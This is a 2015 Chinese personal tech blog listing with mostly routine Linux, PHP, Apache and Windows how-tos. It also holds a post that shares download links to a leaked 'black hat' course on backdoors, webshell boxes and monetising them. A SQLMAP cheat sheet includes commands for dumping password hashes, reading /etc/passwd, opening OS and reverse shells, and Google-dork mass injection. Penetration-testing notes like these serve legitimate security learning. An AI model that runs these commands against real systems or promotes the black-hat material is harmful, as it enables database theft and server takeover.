Centos 查看系统启动时间和运行时间小计 Linux

1.uptime命令

uptime

输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00

如下图所示:

01.jpg

2.查看/proc/uptime文件计算系统启动时间

cat /proc/uptime

输出: 5113396.94 575949.85 第一数字即是系统已运行的时间5113396.94 秒,运用系统工具date即可算出系统启动时间

02.jpg

代码:

date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"

输出: 2008-11-09 11:50:31


3.查看/proc/uptime文件计算系统运行时间

代码:

cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'

输出:系统已运行:59天4时13分9秒

03.jpg

由于需要测试刚学的shell编程咋样需要用到,就copy过来备份了,原文地址:http://www.centoscn.com/CentOS/help/2013/0731/834.html


admin 发布于  2015-12-13 15:19 

sublime text3安装phpfmt插件格式化php 技术文章

sublime text3也支持php格式化的插件了,在这里向作者致敬,感谢他开发出这个插件,如果你不知道sublime就不要往下看了,免得浪费你的时间,点击查看原图

首先是你的sublime安装了package control(插件管理包),如果没有安装,请自行百度搜索安装,一大堆教程,在你安装了package control之后,引用原作者的话就是:


Install this plugin through Package Manager.

  • In Sublime Text press ctrl+shift+P
  • Choose Package Control: Install Package
  • Choose phpfmt
  1. 打开sublime,在sublime界面 按 Ctrl+shift+P 组合键,
  2. 输入 install package,找到Install Package,并回车打开,
  3. 输入 phpfmt 找到并回车安装,等待安装结束,

做完上面的工作,还不能使用phpfmt插件的,还需要配置插件所需要的php环境,最新版的phpfmt插件需要php5.6或者更高版本,这里,博主离线了两个在百度网盘,分别是php5.6和php7.0的非安全线程压缩包(都是64位的),直接解压到你想放的目录即可,如果需要其他版本或者是32位的请自行前往php官网下载,百度网盘地址:http://pan.baidu.com/s/1kUn5zxl  官方下载页面:http://www.php.net/downloads.php 

将自己需要的安装包下载下载后,解压到你想放的地方,比如博主,防止wampserver的php目录里面,这是方便我的wampserver使用,你们可以根据自己的需要放置;接下来就是打开phpfmt配置:

Preferences > Package Settings > phpfmt > Settings - User

我将我的配置贴出来,供大家参考:

{
    "enable_auto_align":true,//自动调整对齐
    "indent_with_space": true,//自动空格
    "psr1": true,
    "psr2": true,
    "version": 4,
    "php_bin":"D:/wamp/bin/php/php5.6.16/php.exe",//php路径
    "format_on_save":true,//保存的时候自动格式化
    "option": "value"
}

其中的php_bin 很重要,就是你存放php的路径,其中的有些配置我在百度没有搜搜到,在国外的网站上看到的,试了一下还不错,原地址:http://stackoverflow.com/questions/29350807/sublime-text-3-php-fmt-wont-work 有兴趣的童鞋可以去看看。


配置完之后,重启sublime text3,打开你需要格式化的php文件,快捷键:Ctrl+F11 或则是在按下组合键Ctrl+shift+P后输入phpfmt 即可选择想要执行的操作,下面是一些常用命令:

The following features are available through command palette (ctrl+shift+P or cmd+shift+P) :

phpfmt: format now //立即格式化 ctrl+F11
phpfmt: indentation with spaces
phpfmt: toggle additional transformations
phpfmt: toggle excluded transformations
phpfmt: toggle skip execution when .php.tools.ini is missing
phpfmt: toggle auto align
phpfmt: toggle autocomplete
phpfmt: toggle dependency autoimport
phpfmt: toggle format on save
phpfmt: toggle PSR1 - Class and Methods names
phpfmt: toggle PSR1
phpfmt: toggle PSR2
phpfmt: toggle smart linebreak after open curly
phpfmt: toggle visibility order
phpfmt: toggle yoda mode
phpfmt: analyse this //Ctrl+F10
phpfmt: build autocomplete database
phpfmt: getter and setter (camelCase)
phpfmt: getter and setter (Go)
phpfmt: getter and setter (snake_case)
phpfmt: generate PHPDoc block
phpfmt: look for .php.tools.ini
phpfmt: reorganize content of class
phpfmt: refactor
phpfmt: toggle PHP 5.5 compatibility mode
phpfmt: enable/disable additional transformations
phpfmt: troubleshoot information



phpfmt插件作者项目在github的主页:https://github.com/phpfmt/sublime-phpfmt


实际效果看下面是我的亲测的code:

<?php
for($i = 0; $i < 10; $i++)
{
if($i%2==0)
echo "Flipflop";
}

// 格式化之后的样子
<?php
for ($i = 0; $i < 10; $i++) {
    if ($i % 2 == 0) {
        echo "Flipflop";
    }

}
?>

<?php
$a = 10;
$otherVar = 20;
$third = 30;

// 格式化之后的样子
<?php
$a        = 10;
$otherVar = 20;
$third    = 30;

<?php
namespace NS\Something;
use \OtherNS\C;
use \OtherNS\B;
use \OtherNS\A;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// 格式化之后的样子
<?php
namespace NS\Something;

use \OtherNS\A;
use \OtherNS\C;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// PSR version

<?php
for($i = 0; $i < 10; $i++)
{
if($i%2==0)
echo "Flipflop";
}

// 格式化之后的样子
<?php
for ($i = 0; $i < 10; $i++) {
    if ($i % 2 == 0) {
        echo "Flipflop";
    }

}

<?php
class A {
function a(){
return 10;
}
}

// 格式化之后的样子
<?php
class A
{
    public function a()
    {
        return 10;
    }
}

<?php
namespace NS\Something;
use \OtherNS\C;
use \OtherNS\B;
use \OtherNS\A;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// 格式化之后的样子

<?php
namespace NS\Something;

use \OtherNS\A;
use \OtherNS\C;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();


如果需要下载使用新版sublime text3 并且免费注册,请查看这篇文章:

(Mrxn分享)Sublime Text 3 Build 3065 安装版注册+汉化




admin 发布于  2015-12-9 12:18 

Apache下设置自动将http跳转到https方法 技术文章

今天有朋友问我怎么配置虚拟机,使其支持访问者打开首页时自动跳转到https,而非http,因为是虚拟机,重复-虚拟机,所以呢,配置服务器的那些方法不好使,搜索得到如下方法,利用修改 伪静态规则 文件- .htaccess ,使虚拟机也可以支持直接打开网站跳转到https,具体方法如下,在htaccess文件末尾添加如下代码即可实现:


RewriteCond %{SERVER_PORT} !^443$
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [L,R]


000106-2015-12-02.jpg

一行一条命令,其实就是利用伪静态将访问者跳转到443端口,从而实现了http到https的跳转。

注:此为虚拟机的方法,推荐使用服务器自己配置https,虚拟机的这样配置后,有可能导致蜘蛛不能抓取你的网站,对SEO不好,慎重选择!

操作前记得备份相关文件,以及数据!

服务器配置https方面可以参考如下文章:


emlog 使用ssl证书开启HTTPS安全访问三步曲

nginx配置ssl加密(单双向认证、部分https)

NginxRewrite规则判断普通用户与搜索引擎爬虫(UA)实现https跳

SSL证书与Https应用部署小结



admin 发布于  2015-12-2 18:53 

如何修复usb接口出现该设备无法启动。 (代码 10)的小问题 技术文章

背景:今天晚上在写材料的时候呢,由于房间里面的灯太暗了(不明具体原因,可能是上次灯坏了,换灯管和镇流器时其中一个买到了假货-_-|),灯是32W的节能灯,按理说不会太暗的,哎!不就结这个了。于是我就在箱子里找出了去年双十一在某宝买的一个USB接口的小灯(放置了一年了|+_+),还带个夹子,可以夹在桌子上,为了避免广告嫌疑,这里就不贴图了!反正多得是,我运气不好吧,买到了这个玩意儿;

正常插上我电脑的USB接口上开始写材料,出于方便是插在usb3.0接口上的,材料字数有点多,大概写了一个小时左右,结束后拔下小灯,插上键盘准备码代码的时候出事故了,嗯,之所以要先拔掉键盘是因为穷买不起电脑桌,只能先把键盘拔下来挪开,然后好写材料。。。

这时候我的键盘没反应了,我赶紧拔掉又重试了一下,还是不行,果断拔掉,换用本本自带的键盘,没问题,可以输入,于是把键盘插到另外的一个USB2.0接口上,啊哈!键盘又好了!于是开始探究什么原因导致USB3.0接口失效了。。。插上键盘,打开设备管理器,在里面发现了感叹号的标志,正是USB3.0 总线控制 哪里:000104-2015-11-12.jpg

我的乖乖,右键 提示:该设备无法启动。 (代码 10) ,接下来就是搜索了。自己也是第一次碰见这种情况。。。

根据如下搜索内容我跟着操作:


你好 解决方法 开始-运行输入regedit

定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E96B-E325-11CE-BFC1-08002BE10318}

删除UpperFilters项

卸载设备,电脑重新启动。

然后设备管理器里变成:代码 10:该设备无法启动。

定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E96B-E325-11CE-BFC1-08002BE10318}

添加字符串UpperFilters项,内容是kbdclass

卸载设备,重新启动


当然,他这里没有提示在操作注册表之前保存一下,我恰好有这个好习惯。保存之后再修改相应的键值(删除UpperFilters项),重启。这时候问题来了,TMD 自带键盘不能用了,没法输入密码,于是重启饶过密码,进入系统,从桌面恢复备份的注册表文件,重启,OK了!这回是都好了,usb3.0接口也好使了,自带的也没问题了。

我得出的结论是,usb3.0接口由于之前长时间被小灯使用导致供电不足,然后再插入键盘、U盘这类小功率型的就不能识别了,解决办法就是先备份注册表,删除开机密码,然后重启,恢复,再重新设置密码!比较烦人。。。最好的就是使用充电器一类的插头链接这些USB灯,免得再次搞得本本的USB供电不足。当然,你如果知道你的外界USB功率大小和你的本本的USB接口最大功率,那就没问题了!

最后提醒:切记!切记!养成备份注册表的习惯!


admin 发布于  2015-11-12 22:39 

Mrxn's Blog遭遇DDoS攻击-目前已恢复-感谢DDoS&CC的朋友 技术文章

今晚吃完饭不久,邮箱就收到服务器发来的邮件,报告大量可疑请求,当时没有回家,没有电脑,等我赶回家的时候,服务器就已经自动关闭了。。。

      20151108230635.png

回家后,第一件事就是关闭服务器所有非必要端口和服务,下载日志到本地分析,找可疑的攻击源,从日志中分析得到大概如下内容:

conntrack table (truncated)的记录中记录大量的443端口请求和80端口请求,导致443端口和80端口被占用,一般没有使用https加密的网站不会使用443端口(估计是因为使用https访问,一般的扫描软件不能扫描到啥有用的信息),使正常访问者不能访问,其实我就是想说就是大量DDoS+CC攻击,一看就是小学生之手!真是无聊。不过的感谢这些小学生啊,让我又重新配置了服务器,提升服务器的安全性。现在CC和少量ddos基本上没作用了的哈!欢迎压力测试!当然,大流量攻击连用了上百台高档服务器做了负载均衡的新浪都扛不住,何况我这个个小小的普通服务器呢!高手就请放过小站,感激不尽!

最后呢,希望做独立站的站长朋友们,一定要做好安全措施,修改常用端口,屏蔽不用的端口,文件夹权限设置严密,别给小学生骚扰的机会,烦死了!至于分析日志这些东西,自己百度吧,多得是,也不是一两句话就可以说清楚的。欢迎各位站长一起交流服务器攻防,运维!


admin 发布于  2015-11-8 22:05 

Linux VPS/服务器上用Crontab定时执行脚本/命令来实现VPS自动化 Linux

VPS或者服务器上经常会需要VPS或者服务器上经常会需要定时备份数据、定时执行重启某个服务或定时执行某个程序等等,一般在Linux使用Crontab,Windows下面是用计划任务(Win的都是图形界面设置比较简单),下面主要介绍Linux VPS/服务器上Crontab的安装及使用。

Crontab是一个Unix/Linux系统下的常用的定时执行工具,可以在无需人工干预的情况下运行指定作业。

一、Crontab的安装

1、CentOS下面安装Crontab

yum install vixie-cron crontabs      //安装Crontab
chkconfig crond on                //设为开机自启动
service crond start                 //启动

说明:vixie-cron软件包是cron的主程序;crontabs软件包是用来安装、卸装、 或列举用来驱动 cron 守护进程的表格的程序。

2、Debian下面安装Crontab

apt-get install cron             //大部分情况下Debian都已安装。
/etc/init.d/cron restart    //重启Crontab
二、Crontab使用方法

1、查看crontab定时执行任务列表
crontab -l

2、添加crontab定时执行任务

crontab -e

crontab-e-nano.jpg

输入crontab任务命令时可能会因为crontab默认编辑器的不同。

如上图所示为nano编辑器,使用比较简单,直接在文件末尾按crontab命令格式输入即可,Ctrl+x退出,再输y 回车保存。

另外一种是vi编辑器,首先按i键,在文件末尾按crontab命令格式输入,再按ESC键,再输入:wq 回车即可。

3、crontab 任务命令书写格式

格式: minute hour dayofmonth month dayofweek command
解释: 分钟 小时 日期 月付 命令
范围: 0-59 0~23 1~31 1~12 0~7,0和7都代表周日

在crontab中我们会经常用到* ,   -  /n 这4个符号,好吧还是再画个表格,更清楚些:

000093-2015-11-08.jpg


下面举一些例子来加深理解:

每天凌晨3:00执行备份程序:0 3 * * * /root/backup.sh

每周日8点30分执行日志清理程序:30 8 * * 7 /root/clear.sh

每周1周5 0点整执行test程序:0 0 * * 1,5 test

每年的5月12日14点执行wenchuan程序:0 14 12 5 * /root/wenchuan

每晚18点到23点每15分钟重启一次php-fpm:*/15 18-23 * * * /etc/init.d/php-fpm

其他一些命令:

/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置
service crond status //查看crontab服务状态
service crond start //手动启动crontab服务

4,设置定时任务:【语  法:crontab [-u <用户名称>][配置文件] 或crontab [-u <用户名称>][-elr]】

5,参  数:

-e  编辑该用户的计时器设置。

-l  列出该用户的计时器设置。

-r  删除该用户的计时器设置。

-u<用户名称>  指定要设定计时器的用户名称。

6,格式:分 时 日 月 周  命令

7,列举,比如我要每天的23点50重启nginx服务,那么,我就输入如下命令:

crontab -e

然后打开一个编辑窗口,按下 insert 按键或者是i,输入:

50 23 * * * /etc/init.d/nginx restart


1,crontab命令

功能说明:设置计时器。

语  法:crontab [-u <用户名称>][配置文件] 或 crontab [-u <用户名称>][-elr]

补充说明:cron是一个常驻服务,它提供计时器的功能,让用户在特定的时间得以执行预设的指令或程序。只要用户会编辑计时器的配置文件,就可以使 用计时器的功能。其配置文件格式如下:

Minute Hour Day Month DayOFWeek Command

参  数:

-e  编辑该用户的计时器设置。

-l  列出该用户的计时器设置。

-r  删除该用户的计时器设置。

-u<用户名称>  指定要设定计时器的用户名称。

2,crontab 格式

基本格式 :

* *  *  *  *  command

分 时 日 月 周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示

第2列表示小时1~23(0表示0点)

第3列表示日期1~31

第4列 表示月份1~12

第5列标识号星期0~6(0表示星期天)

第6列要运行的命令

# Use the hash sign to prefix a comment

# +—————- minute (0 – 59)

# | +————- hour (0 – 23)

# | | +———- day of month (1 – 31)

# | | | +——- month (1 – 12)

# | | | | +—- day of week (0 – 7) (Sunday=0 or 7)

# | | | | |

# * * * * * command to be executed

crontab文件的一些例子:

30 21 * * * /etc/init.d/nginx restart

每晚的21:30重启 nginx。

45 4 1,10,22 * * /etc/init.d/nginx restart

每月1、 10、22日的4 : 45重启nginx。

10 1 * * 6,0 /etc/init.d/nginx restart

每周六、周日的1 : 10重启nginx。

0,30 18-23 * * * /etc/init.d/nginx restart

每天18 : 00至23 : 00之间每隔30分钟重启nginx。

0 23 * * 6 /etc/init.d/nginx restart

每星期六的11 : 00 pm重启nginx。

* */1 * * * /etc/init.d/nginx restart

每一小时重启nginx

* 23-7/1 * * * /etc/init.d/nginx restart

晚上11点到早上7点之间,每 隔一小时重启nginx

0 11 4 * mon-wed /etc/init.d/nginx restart

每月的4号与每周一到周三 的11点重启nginx

0 4 1 jan * /etc/init.d/nginx restart

一月一号的4点重启nginx

*/30 * * * * /usr/sbin/ntpdate 210.72.145.20

每半小时同步一下时间

如果需要根据centos vps内存大小来判断然后重启,看以参考这篇文章:

Linux脚本:根据CPU负载及内存使用率自动重启服务进程



admin 发布于  2015-11-8 10:40 

价值万元黑帽就业内部教程泄露 渗透测试

000089-2015-11-03.jpg


内容:

众所周知黑帽盒子内部以后门程序出名,此套系列课程是内部培训思路及方法的教程,价值不可估量。

此系列课程看完后绝对颠覆你的价值观和世界观。绝对值得收藏!目前下载链接还有效,大家记得及时下载!

 

内部项目零-前言 链接: http://pan.baidu.com/s/1o6zTbMq 密码: tpw8

内部项目一-后门程序是什么  链接: http://pan.baidu.com/s/1gdHItaF 密码: pe7c

内部项目二-养好自己的箱子链接http://pan.baidu.com/s/1kTnNShx 密码: nt94

内部项目三-大数据如何处理 链接http://pan.baidu.com/s/1qW9YxB2 密码: ijb4

第四第五因需要注册码,所以改成演示的视频。

内部项目四-xise菜刀后门箱子 链接: http://pan.baidu.com/s/1qW9UDGg 密码:  ua48

内部项目五-红色中国菜刀webshell箱子 链接:  http://pan.baidu.com/s/1jG8eWwI   密码:  25my

内部项目六(一)谈盈利,团队.rar 链接: http://pan.baidu.com/s/1qifuu 密码: n7gp

内部项目六(二)谈盈利,团队.rar 链接: http://pan.baidu.com/s/1hq76QUC 密码: ikfe

内部项目七-上网和资金安全.rar 链接: http://pan.baidu.com/s/1kTiynLP 密码: d3kr

内部项目八-养站技巧.rar 链接: http://pan.baidu.com/s/1hqrrN4C 密码: mq6n

等等 .. 陆续还有很多视频没泄露出来。此福利共享给大家

下面给出一个备份的汇总链接地址,你也可以选择这个直接保存到自己网盘观看,同时后面更新的也会在这个文件夹内分享:链接: http://pan.baidu.com/s/1nt4ER0l 密码: eraa

注:原文出自暗月博客,http://www.moonsec.com/post-582.html



admin 发布于  2015-11-3 17:21 

主页被360篡改之使用IE搞定这个流氓 技术文章

我的主页一直是新标签页或者是空白页,再不济也是度娘,今天给电脑加了一条内存后,我为了检测一下内存条,打开谋大师,检测一下,可是0.0没有任何提示说修改主页,我打开浏览器却发现,不管哪个浏览器打开都会打开360的主页,尾巴上加上一串数字,多半是推广代码,但是!QQ浏览器没有,因为QQ浏览器有个自我保护功能,QQ浏览器的首页只有你自己修改了才会改变的!在这里给腾讯点个赞!但也有不好的,就是想要改变打开html这些默认打开程序的时候需要自己去解除保护才行,不然你怎么搞都是白搭!

好了,说说怎么治治这个数字流氓吧!

打开 IE,点击“工具“图标(或按Alt X组合键),

000082-2015-11-01.jpg

单击“Internet选项”,选择“高级”选项卡,点击“重置”,将“删除个性化设置”勾选并且重置。一般需要重启,我重启后,就OK了!

000083-2015-11-01.jpg000084-2015-11-01.jpg

至此,我的主页回来了!再次感谢CCTV,感谢度娘!么么哒,哈哈!这里也把其他方法说一下吧:

如果上面的方法不能改回来的话,请在注册表中确认一下 main 键的权限是否已经被篡改为只有 Everyone 并且只有读取权限,如果是这样的话,点击“开始”,在搜索框输入regedit,

找到 HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain,

单击main,单击“编辑”菜单上的“权限”,单击“高级”,然后单击“所有者”选项卡,在“将所有者更改为”下,单击新的所有者,然后单击“确定”,

这时候再重复上面的方法试试。

方案二:对注册表有了解的还可以试试这个方法:点击开始按钮,在搜索栏(或点击运行)输入 regedit 打开注册表,

找到 HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain,找到Default_Page_URL 或者 Start Page 键值名(用来设置默认主页),双击打开进行修改即可(如果不设首页,直接出入 about:blank 即可打开空白页)。按F5键刷新生效。

方案三:如果主页设置被屏蔽锁定,且设置选项无效不可更改,主页地址栏变灰色被屏蔽,

请尝试点击开始按钮,在搜索栏(或点击运行)输入 regedit 打开注册表,找到 HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorer,

新建ControlPanel主键,然后在此主键下新建键值名为“HomePage”的Dword值,值为“00000000”,按F5键刷新生效。

也可以参考一下我的这篇文章:【原创】浏览器主页被篡改修复 这些都是我自己亲自实践过的,有用的方法,希望可以帮到大家!

注意:注册表非常重要,切不可胡乱修改,为了保证安全,在修改前先通过“文件” -> 导出,来备份注册表。


admin 发布于  2015-11-1 09:17 

笔记:SQLMAP常用参数讲解 渗透测试

sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数据库类型

sqlmap -u “http://url/news?id=1″ –users #列数据库用户

sqlmap -u “http://url/news?id=1″ –dbs#列数据库

sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码

sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码

sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”

–start 1 –stop 20 #列出指定字段,列出20 条

sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1″ –privileges #查看权限

sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)

sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表

sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入

sqlmap -u “http://url/news?id=1″ -b #获取banner信息

sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入

sqlmap -u “http://url/news?id=1″ -v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入

sqlmap -u “http://url/news?id=1″ –string”STRING_ON_TRUE_PAGE”# 指 定关键词

sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1″ –file /etc/passwd

sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell

sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度

sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度

***********高级用法*************

-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入

sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问

–technique   测试指定注入类型\使用的技术

不加参数默认测试所有注入技术

•     B: 基于布尔的SQL 盲注

•     E: 基于显错sql 注入

•     U: 基于UNION 注入

•     S: 叠层sql 注入

•     T: 基于时间盲注

–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()

–tamper 插件所在目录

\sqlmap-dev\tamper

sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users  –smart 智 能

level 执行测试等级 攻击实例:

Sqlmap -u “http://url/news?id=1&Submit=Submit”

–cookie=”PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user

–password

参考文档:http://sqlmap.sourceforge.net/doc/README.html

***********安装最新版本*************

ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版

sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件

sudo vim /home/当前用户/.bashrc

#任意位置加上:

alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效

如果想对所有用户有效 可设置全局 编辑下面的文件

vim /etc/profile

同样加上:

alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效

******************windows 7 (x64) sqlmap install (SVN)************

http://www.python.org/getit/ 安装python

http://www.sliksvn.com/en/download 安装windows svn client

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安装sqlmap

*修改环境变量

–version             显示程序的版本号并退出

-h, –help            显示此帮助消息并退出

-v VERBOSE            详细级别:0-6(默认为1)

Target(目标): 以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT           直接连接到数据库。

-u URL, –url=URL   目标URL。

-l LIST             从Burp 或WebScarab 代理的日志中解析目标。

-r REQUESTFILE      从一个文件中载入HTTP 请求。

-g GOOGLEDORK       处理Google dork 的结果作为目标URL。

-c CONFIGFILE       从INI 配置文件中加载选项。

Request(请求)::

这些选项可以用来指定如何连接到目标URL。

–data=DATA         通过POST 发送的数据字符串

–cookie=COOKIE     HTTP Cookie 头

–cookie-urlencode  URL 编码生成的cookie 注入

–drop-set-cookie   忽略响应的Set –Cookie 头信息


–user-agent=AGENT  指定  HTTP User –Agent 头

–random-agent      使用随机选定的HTTP User –Agent 头

–referer=REFERER   指定  HTTP Referer 头

–headers=HEADERS   换行分开,加入其他的HTTP 头

–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)

–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)

–proxy=PROXY       使用HTTP 代理连接到目标URL

–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)

–ignore-proxy      忽略系统默认的HTTP 代理

–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒

–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)

–retries=RETRIES   连接超时后重新连接的时间(默认3)

–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式

–safe-url=SAFURL   在测试过程中经常访问的url 地址

–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL

Optimization(优化): 这些选项可用于优化SqlMap 的性能。

-o                  开启所有优化开关

–predict-output    预测常见的查询输出

–keep-alive        使用持久的HTTP(S)连接

–null-connection   从没有实际的HTTP 响应体中检索页面长度

–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。

-p TESTPARAMETER    可测试的参数(S)

–dbms=DBMS         强制后端的DBMS 为此值

–os=OS             强制后端的DBMS 操作系统为这个值

–prefix=PREFIX     注入payload 字符串前缀

–suffix=SUFFIX     注入 payload 字符串后缀

–tamper=TAMPER     使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。

–level=LEVEL       执行测试的等级(1-5,默认为1)

–risk=RISK         执行测试的风险(0-3,默认为1)

–string=STRING     查询时有效时在页面匹配字符串

–regexp=REGEXP     查询时有效时在页面匹配正则表达式

–text-only         仅基于在文本内容比较网页

Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。

–technique=TECH    SQL 注入技术测试(默认BEUST)

–tiime-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)

–union-cols=UCOLS  定列范围用于测试UNION 查询注入

–union-char=UCHAR  用于暴力猜解列数的字符

Fingerprint(指纹):

-f, –fingerprint     执行检查广泛的DBMS 版本指纹

Enumeration(枚举):


这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。

-b, –banner        检索数据库管理系统的标识

–current-user      检索数据库管理系统当前用户

–current-db        检索数据库管理系统当前数据库

–is-dba            检测DBMS 当前用户是否DBA

–users             枚举数据库管理系统用户

–passwords         枚举数据库管理系统用户密码哈希

–privileges        枚举数据库管理系统用户的权限

–roles             枚举数据库管理系统用户的角色

–dbs               枚举数据库管理系统数据库

–tables            枚举的DBMS 数据库中的表

–columns           枚举DBMS 数据库表列

–dump              转储数据库管理系统的数据库中的表项

–dump-all          转储所有的DBMS 数据库表中的条目

–search            搜索列(S),表(S)和/或数据库名称(S)

-D DB               要进行枚举的数据库名

-T TBL              要进行枚举的数据库表

-C COL              要进行枚举的数据库列

-U USER             用来进行枚举的数据库用户

–exclude-sysdbs    枚举表时排除系统数据库

–start=LIMITSTART  第一个查询输出进入检索

–stop=LIMITSTOP    最后查询的输出进入检索

–first=FIRSTCHAR   第一个查询输出字的字符检索

–last=LASTCHAR     最后查询的输出字字符检索

–sql-query=QUERY   要执行的SQL 语句

–sql-shell         提示交互式SQL 的shell

Brute force(蛮力): 这些选项可以被用来运行蛮力检查。

–common-tables     检查存在共同表

–common-columns    检查存在共同列

User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。

–udf-inject        注入用户自定义函数

–shared-lib=SHLIB  共享库的本地路径

File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE   从后端的数据库管理系统文件系统读取文件

–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件

–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。

–os-cmd=OSCMD      执行操作系统命令

–os-shell          交互式的操作系统的shell

–os-pwn            获取一个OOB shell,meterpreter 或VNC

–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC

–os-bof            存储过程缓冲区溢出利用

–priv-esc          数据库进程用户权限提升

–msf-path=MSFPATH  Metasploit Framework 本地的安装路径

–tmp-path=TMPPATH  远程临时文件目录的绝对路径


Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。

–reg-read          读一个Windows 注册表项值

–reg-add           写一个Windows 注册表项值数据

–reg-del           删除Windows 注册表键值

–reg-key=REGKEY    Windows 注册表键

–reg-value=REGVAL  Windows 注册表项值

–reg-data=REGDATA  Windows 注册表键值数据

–reg-type=REGTYPE  Windows 注册表项值类型

General(一般): 这些选项可以用来设置一些一般的工作参数。

-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中

-s SESSIONFILE      保存和恢复检索会话文件的所有数据

–flush-session     刷新当前目标的会话文件

–fresh-queries     忽略在会话文件中存储的查询结果

–eta               显示每个输出的预计到达时间

–update            更新SqlMap

–save              file 保存选项到INI 配置文件

–batch             从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

–beep              发现SQL 注入时提醒

–check-payload     IDS 对注入payloads 的检测测试

–cleanup           SqlMap 具体的UDF 和表清理DBMS

–forms             对目标URL 的解析和测试形式

–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果

–page-rank         Google dork 结果显示网页排名(PR)

–parse-errors      从响应页面解析数据库管理系统的错误消息

–replicate         复制转储的数据到一个sqlite3 数据库

–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard            给初级用户的简单向导界面


admin 发布于  2015-10-30 22:16 

CentOS下安装netspeeder加速 技术文章

